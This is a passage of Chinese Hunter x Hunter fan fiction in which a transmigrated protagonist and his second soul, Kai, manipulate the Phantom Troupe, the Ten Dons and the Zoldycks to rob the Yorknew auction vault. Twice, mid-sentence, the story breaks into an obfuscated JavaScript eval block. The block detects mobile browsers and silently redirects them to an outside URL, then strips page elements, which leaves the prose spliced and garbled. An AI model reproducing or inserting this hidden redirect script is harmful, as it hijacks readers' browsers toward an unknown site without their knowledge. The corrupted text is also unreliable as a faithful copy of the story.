他站起身,目光扫过每一位成员,无形的压力让最躁动的信长也暂时按下了怒火。 “侠客,不必再追溯源头了。那必然是一个无用的假地址。”他下令道,“你的任务是,全力核查十老头近期是否与揍敌客家族有过任何形式的接触,无论多么隐秘。我要的是证据,不是猜测。” “派克诺妲,芬克斯,飞坦。”他点出名字,“从现在起,所有核心成员的警戒级别提到最高。尤其注意那些非常规的、源自杀手世家的手段。假设刺杀委托是真的,那么攻击可能来自任何地方,任何形式。” 最后,他的目光变得深沉而极具凝聚力,声音不高,却清晰地传入每个人耳中:“记住,未知的敌人希望看到我们慌乱,希望我们因猜忌而从内部撕裂。” “但我们是蜘蛛。” “撕碎猎物之前,我们从不撕碎自己。计划照旧,但所有人,做好迎接‘额外惊喜’的准备。” “既然有人送了请柬,”库洛洛的眼中闪过一丝冰冷的、狩猎般的兴奋,“那我们……就好好享受这场盛宴吧。” 友客鑫市,十老头首席会议室。 厚重的天鹅绒窗帘隔绝了外界的一切光线,昂贵的雪茄烟雾在空气中凝滞不散,却无法掩盖弥漫其间的紧绷与恐慌。往常这里是一切阴影权力的中心,运筹帷幄,决定着他人的生死。但此刻,一种罕见的、被摆弄的恐惧感正攫握着在场的每一位老人。 “荒谬!彻头彻尾的荒谬!” 一份情报被狠狠摔在光可鉴人的红木会议桌上,声音在寂静的房间里显得格外刺耳。一位掌控着大陆地下军火贸易的老头,脸色因暴怒而涨红。 “幻影旅团……雇佣揍敌客,来杀我们?!”另一位掌管全球走私网络的巨头,声音里充满了难以置信的匪夷所思,他扶了扶金丝眼镜,仿佛想看清楚这是不是一个拙劣的玩笑,“那群只懂掠夺和破坏的疯子蜘蛛,什么时候学会玩这种借刀杀人的把戏了?!这根本不符合他们的作风!” “但万一是真的呢?”第三个声音响起,干涩而沙哑,来自阴影中一个更为谨慎的老者。他指尖敲打着桌面,发出令人不安的嗒嗒 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“不管这是蜘蛛的疯病发作,还是有什么人在背后搞鬼……”另一位老头接口道,眼中闪过□□霸主特有的狰狞,“想让我们死?那就看看,谁的命更硬!” 恐慌并未消散,但这些从尸山血海中爬上位的老狐狸们,绝不会坐以待毙。巨大的混乱之下,一场更疯狂的防御和反扑正在黑暗中悄然酝酿。 友客鑫的夜风带着一丝都市特有的喧嚣与凉意,吹过程笑所在的天台。 他独自坐在某座摩天楼的边缘,双腿悬空,脚下是璀璨蔓延、如同星河倒泻的城市灯火。那些光点之中,正上演着贪婪、杀戮、阴谋与恐慌,而这一切,或多或少都与他亲手投下的石子所激起的涟漪有关。 他深吸了一口微凉的空气,感觉自己灵魂中某个部分正前所未有地融入这个疯狂而真实的世界。不再是以外来的“玩家”身份,而是以一个真正的“参与者”,甚至……是“编剧”的身份。 意识深处,凯沉默着,没有打扰他。他们之间不再需要无用的言语,一种冰冷的默契在两人之间流淌。凯是计划的审核者与情报官,而程笑,是那个最终按下启动按钮的执行者。 远处,似乎传来一声极其微弱的、或许是枪声或许是爆炸的闷响,很快就被城市的巨大噪音所吞没。 “啧,”他忍不住吹了个口哨,语调里满是幸灾乐祸,“库大团长果然没让人失望,这点小把戏糊弄不了他呢。” 凯的声音在他意识里响起,冷静得像在做战后简报:“他精准识别了情报的伪造痕迹,但没有选择戳破或内部清查,而是顺势将计就计,提升了整体警戒级别。典型的库洛洛·鲁西鲁风格。” “哦?”程笑眉毛一挑,笑容咧得更开,像只偷到了腥的猫,“所以,按你的说法……咱们这拙劣的钓鱼,他不仅咬了钩,还帮着把鱼线绷直了?” “可以这么理解。” 凯的声音听不出丝毫得意,只有纯粹的理性分析。“他的应对策略客观上达成了我们的首要目标:旅团的注意力已被‘潜在的揍敌客威胁’牢牢吸引,主要战力将用于外部戒备。拍卖会藏品区的防御力量,必然会出现可乘之机。” “Bingo!”程笑兴奋地摩拳擦掌,指尖几乎要冒出火花,“那就让好戏开场吧!蜘蛛们在前台严防死守‘看不见’的杀手……” 他看向窗外友客鑫璀璨的夜景,眼中闪烁着唯恐天下不乱的光芒。 “而我们,就去给他们心心念念的宝藏库,送上一份真正的‘惊喜大礼包’~?” 程笑的嘴角无声地向上勾起一个细微的弧度,那不是欢乐,而是一种近乎冷酷的满足感。 一场由他亲手编排的好戏,已经悄然拉开了帷幕。演员们(蜘蛛、十老头、揍敌客)皆已就位,他们依循着自己的本性,在舞台上卖力演出,却未必知晓剧本的真正走向。 “赊账”的能力让他拥有了介入剧情的“笔”,而凯的智慧则提供了最完美的“剧本”。 夜风拂起他额前的碎发,他望着这片被他搅动的沸腾夜色,眼中倒映着万家灯火,却冰冷得没有一丝温度。 他轻轻哼起了一段不成调的、来自另一个世界的旋律。 一场好戏,正在上演。而他,是唯一的观众,也是唯一的导演。 23. 只能说不愧是库洛洛 程笑像个恪守剧本的模范演员,为了避免改变剧情的走向,他老老实实在发霉的旅馆房间里蹲到了最后。 他掰着手指头数着外面的风起云涌:蜘蛛发现空库、酷拉皮卡生擒窝金……直到电视新闻里爆出“幻影旅团全员惨死”的惊天消息,他才猛地从床上一跃而起,发出一声压抑已久的欢呼: “芜湖——!剧本杀青!下一幕,高潮action!” 一切尽在掌握。他轻而易举地利用猎人执照的权限,以“临时安保”的身份混入了这场风暴的核心——地下拍卖会的现场。 场内气氛肃杀,念能力者混杂的气息几乎凝成实质。程笑却如鱼得水,他心中默念 「赊账」 ,暂时抵押了自身的 “存在感” 。他像一个透明的幽灵,冷眼旁观着剧情精准地推进:席巴与桀诺·揍敌客如约而至,强大的气场横扫全场,随即直奔二楼而去。 “嗯,完美。”程笑点点头,对自己的上帝视角十分满意。他不再停留,悄无声息地脱离了主会场,仿佛从未出现过。 另一边。 西索正百无聊赖地把玩着扑克牌,手机突然“叮”的一声轻响。他瞥了一眼发信人——是小伊~? 他乐呵呵地点开,信息内容却让他脸上的笑容瞬间变得危险而兴奋:「库洛洛快被席巴和桀诺打死了哦~」 这可不~行~? 他还没和那颗成熟的、闪耀着罪恶光芒的果实来一场酣畅淋漓的厮杀呢!怎么能让他在自己之前就烂掉? 这念头如同最甜美的毒药,瞬间攫取了他全部的注意力。他几乎是毫不犹豫地,化作一道疾风冲向了二楼,将那信息里显而易、过于突兀的漏洞完全抛在了脑后。 对库洛洛的执念,让他选择性忽略了这不合常理的“报信” 藏品室门外。 程笑凭借着低存在感的优势,如入无人之境,轻松摸到了钥匙,悄无声息地打开了厚重的藏品室大门。 【行动迅速些。】凯的声音在他意识里响起,带着一丝不易察觉的紧迫。即便计划顺利,身处虎穴核心也绝非久留之地。 “安啦安啦~”程笑却信步闲庭般地走了进去,目光贪婪地扫过满室珠光宝气,语气轻松得像在逛自家后院。“库洛洛那边可是提前拿到了‘剧本’,肯定准备了对付揍敌客的底牌。再加上西索这个唯恐天下不乱的家伙跑去搅局…他们那边且得打呢~” 他甚至有空对着一件古董花瓶品头论足:“十老头再蠢现在肯定也作鸟兽散了,够伊尔迷忙活好一阵子~没人会来打扰我们的。” 他的脚步最终停在了最中央的展台前。防弹玻璃罩内,那具古朴而诡异的「意识之偶」静静地伫立着,仿佛沉睡了数个世纪。 “现在——”程笑嘴角勾起一抹胜利在望的笑容,伸出手。 “该验收我们真正的‘宝藏’了。” …………… “咔哒。” 一声清脆、突兀的鞋跟叩击地面的声音,在寂静得落针可闻的藏品室内骤然响起,如同一声冰冷的枪响,击碎了程笑所有的从容。 “是……你啊。” 一个平静无波,却带着洞悉一切意味的嗓音自身后传来。 程笑全身的血液仿佛瞬间冻结了。他猛地回头,瞳孔因难以置信而急剧收缩——本应在二楼与揍敌客父子及西索酣战的库洛洛·鲁西鲁,此刻正完好无损地、气定神闲地站在他的面前。 那双深不见底的黑眸正凝视着他,里面没有一丝意外,只有一种猫捉老鼠般的、令人胆寒的玩味。 智力碾压! 程笑的心脏猛地一沉。所有的算计和优越感在这一刻碎得干干净净。他瞬间明白,自己那点小把戏,从一开始就没能瞒过这位蜘蛛头脑的眼睛。对方早已看穿了他的调虎离山之计,甚至……将计就计,反过来为他布下了这个请君入瓮的局! 另一边,二楼战场。 西索脸上的变态笑容早已被一种极度兴奋却又暴躁的狰狞所取代。他原本的计划是冲上来“帮忙”,确保库洛洛这颗美味的果实别被揍敌客父子提前碾碎——他以为自己会是个优雅的“辅助”,在关键时刻搅乱战局即可。 然而现实是,从他踏入战场的那一刻起,席巴·揍敌客那裹挟着雷霆之势的拳头和桀诺·老头那铺天盖地的“龙头戏画”就毫无差别地将他一同卷入了攻击范围! 揍敌客家的信条里可没有“一对一”的绅士风度,任何闯入战场的,皆为敌人。 西索: “……” (内心OS:真是……太不讲道理了~?但也不坏!) 他瞬间就从预想中的“辅助”变成了被狂暴火力死死按在原地输出的“主力”!揍敌客父子联手的压力排山倒海,逼得他不得不倾尽全力周旋,那些用来戏耍的扑克牌此刻成了保命的利器,每一次闪避和格挡都惊险万分。 他所有的精力都被用来应对这狂风暴雨般的攻势,高速的战斗节奏和致命的威胁让他根本无暇去细细感知眼前这个“库洛洛”是否有些微的不协调。他能感觉到“库洛洛”也在战斗,能力诡谲,这在一定程度上分担了部分压力,但也仅此而已。 他现在的需求已经从一开始的 “保库洛洛不死” ,急剧降级为最现实的—— “保住自己活着” ! 库洛洛·鲁西鲁的后手,成功地将最强的追猎者之二和最难控的变量西索,完美地拖死在了二楼战场。 ————藏品室——— 库洛洛·鲁西鲁静静地注视着程笑,那双深不见底的黑眸中掠过一丝纯粹的、学者般的探究欲。他原本的兴趣更多在于这具身体里那个沉稳理智灵魂的“智”,但眼下,这个看似跳脱的灵魂所展现出的、近乎预知未来的能力,显然更具价值。 “这很好。”库洛洛的语气里带着一种发现珍贵古籍般的满意,“提前送来虚假的情报,是为了将我的注意力牢牢锁在二楼……听你方才的自言自语,似乎也为伊尔迷先生准备了不小的麻烦。” 他微微偏头,像是在审视一件有趣的藏品:“这些手段本身都无关紧要。真正重要的是……” 库洛洛的声音低沉下去,带着一种不容置疑的压迫感: “你究竟是如何‘知道’这一切会发生的?” 话音未落,他像是突然想起了什么——不久前的预言诗,他再次回忆,那些晦涩的诗句和之前一些模糊的暗示仿佛瞬间找到了答案。 他抬起头,眼中闪过一丝了然的锐光,缓缓念出诗中最关键的一节: “狡狐假借死敌之名, 吹响错误的号角。 双生的灵魂徘徊于珍宝之室, 窃取‘真实’的,是窥视命运之眼的窃贼。 切勿聆听伪神的低语,否则你将永失所盗之火。” 言罢,他看向程笑,仿佛已经看穿了一切真相,做出了最合理的推断: “原来如此……我早该想到的。你的念能力,并非简单的战斗用技。”库洛洛向前一步,无形的压力弥漫开来,“是与‘预知’……或者更精确地说,是‘占卜’相关的能力,对吗?” “你能‘看到’未来的片段。” 面对库洛洛这结合了情报、观察、甚至“玄学”证据后得出的、完全错误但又逻辑自洽的惊人推论,程笑只觉得一股寒意从脊椎窜起。 作为一名熟知剧情的穿越者,他第一次如此清晰地感受到,在绝对智慧的逼视下,那种无所遁形的、巨大的压力。 面对库洛洛那几乎要将他灵魂都剖析干净的锐利目光和那份看似合理的“错误答案”,程笑在一瞬间的压迫感后,大脑飞速运转。 不能再纠缠下去了! 库洛洛的智慧远超想象,多待一秒,多說一句话,都可能暴露更多破绽。必须立刻执行最终方案——夺宝,跑路! 他脸上那夸张的、挑衅般的笑容此刻更像是一张精心佩戴的面具,用来掩盖真正的意图。他故意拖长了语调: “嗯哼~猜得很有趣,团长先生。但是……不止哦~” 话音未落,他根本不给库洛洛深思或反应的时间,双臂猛地一张——这不是炫耀,这是发动能力的起手式! 「赊账·典当——全库清算!」 库洛洛·鲁西鲁眼中精光一闪,「盗贼的极意」瞬间具现在手中。他当然不会拒绝观察,“看清能力” 正是他盗取能力的首要条件! 然而,程笑要的就是他这片刻的专注! 下一秒,奇迹(或者说灾难)发生了——整个宝库的宝藏瞬间凭空蒸发,只剩下空旷和死寂。 库洛洛的瞳孔骤然收缩,即便是他也被这堪称“神迹”的盗窃手段震动了片刻。贪婪和渴望瞬间压倒了一切——他必须得到这个能力!他手中的书页疯狂翻动,试图更清晰地捕捉能力的脉络。 但程笑根本就没打算给他更多观察和提问的时间! 就在库洛洛心神被能力吸引的这电光火石的一刹那,程笑脸上所有的表情如同面具般剥落。气息陡然一变,从极致的张扬变为绝对的冷静。 凯精准地接管了身体,没有丝毫拖泥带水。他甚至没有去看库洛洛那本危险的书,而是利用这宝贵的、对方因震惊和贪婪而产生的一丝空隙,身体已经做出了向后疾退的预备动作。 他用那双冰冷沉静的眼睛看向库洛洛,语气平稳得没有一丝波澜,却带着最终的警告: “展示结束。窥探他人的‘资本’,可是要付出高昂‘利息’的,库洛洛先生。” “至于答案——”凯的声音还在空气中回荡,他的身影却已借着宝库空旷的地形急速后撤。 “就请你自己去寻找吧。” 库洛洛的反应不可谓不快,但对方切换灵魂、发动能力、撤退的动作一气呵成,几乎是同一时间完成。就在他身形微动,即将追出窗外的刹那—— “轰——!!!” 一声震耳欲聋的龙啸伴随着天花板轰然破碎的巨响,一道凝练至极、狂暴无匹的念气巨龙——“龙头戏画” ——如同天罚般撕裂一切阻碍,朝着他当头轰下! 库洛洛瞳孔急缩:! 桀诺·揍敌客那中气十足的怒喝声如同惊雷般炸响: “原来藏在这里!!” 他是怎么精准找到这里的?!这个念头在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526553|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 库洛洛脑中一闪而过,但此刻已容不得他细想。那毁灭性的力量将他所有的追击路线彻底封死,甚至逼得他必须全力后退防御。 他真正的、毫无花巧地被拖入了这场他原本只想用替身敷衍的,与揍敌客父子的正面酣战之中! 另一边。 程笑可半点没有观战的意思,他借着库洛洛被阻击的这天赐良机,将“存在感降低”的效果开到最大,运起念力,像一道透明的幽灵,沿着早已规划好的路线玩命狂奔。 混乱的战场、四起的烟尘都成了他最好的掩护。他轻而易举地突破了外围那些早已被揍敌客和旅团(及其替身)大战吓破胆的□□成员的封锁,成功突出了重围。 一路狂奔出好几条街,直到完全感受不到身后那令人窒息的念压,程笑才敢稍微放缓脚步。 “我去?!库洛洛居然真的没追上来?”他靠在一个阴暗的巷口,喘着气,难以置信地回头望去——身后街道空空如也,只有友客鑫不变的霓虹在闪烁。 劫后余生的狂喜和巨大的疑惑同时涌上心头。他刚才光顾着跑,根本没看清那声龙啸是怎么回事。 就在这时,意识中,凯那平静无波的声音响起,解答了他的困惑: “我给席巴先生“报点”了。” 程笑:“……啥?怎么报的?” “揍敌客有一套用于极端环境下、无需电子设备的紧急通讯方式,”凯解释道,“通过特定频率的念波震动声带或骨骼,发出人耳难以捕捉但家族成员能清晰接收的定位信号。” “我模拟了那种信号,将库洛洛的坐标传递了出去。” 程笑先是一喜,随即猛地意识到什么,脸色微变:“等会儿!你用揍敌客的密语……那岂不是……” “是的。” 凯的声音依旧冷静,却带上了一丝不容忽视的凝重。“席巴先生一定能接收到。并且,他绝对能识别出—— “这信号来源,并非来自任何已知的、在外的家族成员。” “我等于直接向他宣告:有一个熟知揍敌客最高机密通讯方式的神秘存在,正介入此事。” ————另一边————— 伊尔迷·揍敌客站在一栋大厦的顶端,漆黑的猫眼毫无波澜地俯视着脚下因为□□首领接连毙命而逐渐陷入混乱的友客鑫市。清理四散躲藏的“十老头”费了他不少功夫,像在玩一场效率至上的捉迷藏。 现在,游戏结束,佣金到手。 他拿出手机,拨通了那个唯一的号码,进行最后的售后服务确认。 电话接通的瞬间,听筒里传来的便是急促的喘息、念力剧烈碰撞的轰鸣以及建筑物崩塌的巨响! (藏品库内的景象) 库洛洛·鲁西鲁正处在极大的劣势中。藏品库已是一片狼藉,他的额角破裂,昂贵的衣物变得破破烂烂,正凭借盗取的多种能力在席巴刚猛无俦的拳势和桀诺铺天盖地的“龙头戏画”下苦苦支撑。(类似于原著中被混合双打后的狼狈状态) “雇主先生。”伊尔迷平淡无波的声音透过电话传来,与背景音里的激烈厮杀形成了荒谬的对比。“任务完成。委托方‘十老头’已确认全部清除。” 就是这么一句简单的工作汇报,效果却堪比最强的除念术。 电话那头,毁灭性的攻势骤然停止。 席巴和桀诺几乎在同一时间收手,磅礴的念压如同潮水般退去。两位顶尖杀手站在原地,气息平稳,仿佛刚才那场狂风暴雨般的攻击从未发生过。 库洛洛得以喘息,他单膝跪地,剧烈地呼吸着,鲜血滴落在地面的尘埃里。他抬起头,看向对面的揍敌客父子。 席巴·揍敌客看了他一眼,语气平静地做出了业务声明: “委托方已死亡,雇佣关系自动终止。揍敌客家族不再有对你出手的理由。” 桀诺·揍敌客在一旁摸了摸胡子,补充了一句更像是调侃的实话: “而且,也没人付剩下的尾款了嘛。” 免费的活儿,我们可不干。 在库洛洛·鲁西鲁狼狈不堪的皮囊之下,他的眼神是一片深不见底的平静。 当伊尔迷的电话接通,当那句“委托方十老头已确认全部清除”的话音通过话筒清晰地传出时—— 库洛洛心中最后一块拼图,严丝合缝地落定了。 一切正如他所料。 他所有的挣扎,所有的周旋,都是为了撑到这枚早已布下的、最关键棋子生效的时刻。雇佣伊尔迷去杀死雇主本身,就是他为自己准备的、最可靠的逃生通道。 电话那头的伊尔迷仿佛能猜到这边的场景,用毫无起伏的语调完成了最后的通话: “看来售后服务不再需要。交易结束,确认收货。” 嘟——电话被挂断。 库洛洛·鲁西鲁独自站在废墟之中,看着揍敌客父子如同完成了一次普通散步般,毫不留恋地转身离去。 一场生死危机,就这样以一种极其符合揍敌客风格的方式,突兀地开始,又更加突兀地结束了。 而这一切的始作俑者,此刻正带着他们真正的战利品,消失在了友客鑫的夜色之中。 24. 叮—!你的黑锅请查收 返程的飞艇上,气氛并不如表面那般平静。 桀诺背着手,望着窗外的云海,忽然开口,语气听不出喜怒:“刚才那个‘信号’……很熟悉。” 席巴双臂环抱,如山岳般沉稳地坐在沙发上,闻言睁开了锐利的双眼:“嗯。频率、节奏,甚至是念波中那一点不易察觉的停顿习惯……都像极了那个人。” 两人沉默了片刻。那种利用骨骼与念共振传递信息的古老方式,是揍敌客核心成员与极少数最高级别管家才会掌握的绝密技能。范围小到可怜。 “凯。”席巴缓缓吐出了这个名字,带着一种审视的意味。“但不可能,他的尸体至今都被基裘保存着。” 桀诺摸了摸胡子,眼神深邃:“人死不能复生。更可能,是某个我们不知道的、流落在外又心怀不轨的分家子弟,不知用什么方法窃取了这项机密。” 席巴点了点头,但眼神中的疑虑并未消散。无论是哪种可能,都必须彻查。一个掌握着家族最高机密的前“财产”可能流落在外,这本身就是最高级别的安全隐患。 他不再犹豫,拿出手机,拨通了长子的号码。 另一边,伊尔迷刚刚结束与库洛洛的通话。 手机再次响起,看到是父亲的号码,他立刻接起,声音平稳无波:“父亲。” 席巴低沉的声音从听筒传来,没有寒暄,直接下达指令:“伊路米,去查一下凯的相关线索。我们刚才收到了使用他习惯频率发出的家族信号。” 伊尔迷的心跳几乎在瞬间漏跳了一拍,但他强大的控制力让他的声音没有流露出丝毫异常:“……?” 信号?凯主动暴露了?不,父亲的话明显以为是情报泄露,尚未联想到复活……还好。 他飞速冷静下来。他隐瞒消息,并非出于什么温情,而是出于最纯粹的价值评估与占有欲。凯是他一手“处理”掉的,也是因他弟弟的能力而“流失”的。这件曾经为家族创造巨大价值、又与他有着特殊联系的“资产”,其所有权在他观念里理应属于他。 如果让家族介入,凯只会被当作一件危险的“失控财产”被回收、分解、研究其“复活”原理,最终价值被榨干后废弃。这无疑是巨大的浪费。 而如果由他独自回收,他就能重新完全掌控这件独一无二的、拥有顶尖管理能力和特殊意义的“所有物”。这符合揍敌客的效率原则,也符合他个人的……偏好。 浑然不知儿子的心思的席巴:“信号源在友客鑫。重点排查可能接触过家族机密的分家,或是……任何与他相似的念波动。必须查清。” 伊尔迷的语气恢复了一贯的平淡和高效,甚至带着一种接下任务的冷漠: “明白了,父亲。我会彻底调查清楚。” 电话挂断。 伊尔迷·揍敌客站在原地,漆黑的猫眼里不再是空洞,而是如同最精密的雷达,开始重新扫描整个事件。 调查?他当然会去。他会比家族所有人都更高效、更彻底地查清此事。 然后,抢先一步,将他流失的“财产”,重新纳入自己的掌控之中。 ————另一边——— 库洛洛·鲁西鲁独自站在废墟之中,看着揍敌客父子如同完成了一次普通散步般,毫不留恋地转身离去。 废墟里只剩下他粗重的喘息声。然而,这份寂静并未持续多久。 一道身影轻巧地从二楼破损的栏杆处跃下,如同没有重量的羽毛般落在库洛洛面前。西索·魔术师此刻的模样也称不上完好,衣服有多处破损,脸颊也带着擦伤,但他那双金色的瞳孔里燃烧着的却不是疲惫,而是某种被戏弄后的兴奋与危险的质问。 他晃了晃手中已经熄灭屏幕的手机,语气甜腻却带着冰冷的尖刺: “嗯哼~库洛洛?……能解释一下吗?那条把我骗来这里,和两个老怪物打生打死的‘救命’短信~?” 他理所当然地认为,那条用揍敌客密语发送、精准指引他来到二楼的坐标信息,是库洛洛为了脱身而布下的又一重算计。 库洛洛缓缓直起身,用手背擦去额角的血迹。面对西索的质问,他脸上没有任何被拆穿的窘迫,反而露出了一种带着些许玩味的、了然的神情。 “不是我。”他平静地否认,声音还带着一丝力竭后的沙哑,却异常清晰。 西索的眉毛挑高了,显然不信:“哦~?” “发信的人,是程笑。”库洛洛说出了这个名字,目光仿佛穿透墙壁,看向那两人逃离的方向。“或者更准确地说,是他体内的那个‘东西’。” 他顿了顿,给出了一个在西索听来近乎天方夜谭,却又完美解释了所有疑点的答案: “而我,只是预知到了他可能会利用信息来制造混乱,所以提前将计就计,让你……和揍敌客,都去到了他最希望你们去的位置。” “………”西索脸上的笑容僵住了片刻,随即变得更加扭曲和兴奋起来,一种发现新玩具般的狂喜几乎要溢出来。 所以,这一切的幕后推手,那个让他打得如此狼狈、让库洛洛如此狼狈、甚至能驱动揍敌客密语的……竟然是那个他之前只觉得是“开胃小苹果”的家伙? 库洛洛看着他表情的变化,知道他已经信了。他最后补充了一句,为今晚的一切画上了句号: “他利用了所有人,西索。包括你,也包括我。” 说完,库洛洛不再理会陷入某种狂热思绪的西索,转身,拖着伤痕累累的身体,一步一步地、缓慢却坚定地消失在了废墟的阴影之中。 只留下西索一个人站在原地,他低头看着自己的手,然后忍不住发出了一阵压抑不住的、愉悦的轻颤。 “呵呵呵……哈哈哈哈哈!!!!!” 真是……太出乎意料了! 小苹果……不,现在简直是…… “惊喜盒” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526554|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊~?” 他此刻对程笑(和凯)的兴趣,恐怕已经瞬间飙升到了一个全新的、危险的高度。 …………… 当拍卖会的警卫和□□成员们终于敢战战兢兢地冲进地下藏品库时,映入他们眼帘的是一片狼藉的废墟,以及一具躺在瓦砾中、似乎毫无生息的躯体——一具库洛洛·鲁西鲁的替身。 就像狼来了的故事一样,同样的把戏玩两遍就不会有人相信这是真的尸体了。 而比这战斗痕迹更让他们心胆俱裂的是—— 空了。 整个宝库,那堆积如山的、价值足以买下数个小国的奇珍异宝、古董念器……全部不翼而飞! 整个藏品库彻底的被洗劫一空,连个硬币都没剩下! “蜘…蜘蛛……幻影旅团!!!” 恐惧和震惊的尖叫声终于冲破了寂静。 (舆论的爆发) 接下来的几个小时,友客鑫乃至全世界的媒体都彻底爆炸了! “史上最恶!幻影旅团于友客鑫制造惊天惨案,劫掠全部拍卖藏品后扬长而去!” “恶魔的盛宴!蜘蛛的铁蹄践踏地下世界秩序!” “十老头惨遭灭口,疑为幻影旅团所为!” 所有的证据都指向了他们:强大的战力、残忍的手段、以及那空空如也、仿佛被蝗虫过境般的宝库。 眨眼之间,铺天盖地的通缉令和天价悬赏让幻影旅团的恶名和赏金登上了前所未有的巅峰。他们成为了整个世界黑暗面恐惧和唾骂的对象。 —————蜘蛛的巢穴——— 某处安全屋内,刚刚处理完伤口、换上一身新衣的库洛洛·鲁西鲁,沉默地看着电视上关于“自己”的“丰功伟绩”的报道,手中的报纸头版正是他那张面无表情的通缉令,下面的赏金数字长得吓人。 库洛洛:“……” 他英俊的脸上没有任何表情,但周围的空气几乎要凝固了。 旁边的侠客干笑一声,试图活跃气氛:“啊哈哈……团长,我们这次好像……名声更响亮了?” 芬克斯抱着胳膊,一脸不爽:“嘁,听起来是很威风啦……但总觉得哪里怪怪的,我们明明什么都没拿到啊!” 飞坦发出了一声极其不耐烦的咂舌声,金色瞳孔里全是杀意。 玛奇则冷冷地瞥了一眼电视:“我们被算计了。” 富兰克林低沉道:“真正的赢家,藏在我们的影子里。” 所有团员都陷入了一种极其复杂的沉默之中。 他们背负了有史以来最大的黑锅,吸引了全世界所有的仇恨和目光…… 而真正的窃宝者,此刻正不知道在哪个角落里,享受着真正的战利品,并且还在看他们的笑话。 这种憋屈又荒谬的感觉,即便是无恶不作的幻影旅团,也是头一次体验得如此彻底。 库洛洛缓缓放下报纸,声音平静却带着一种山雨欲来的危险: “找到他。”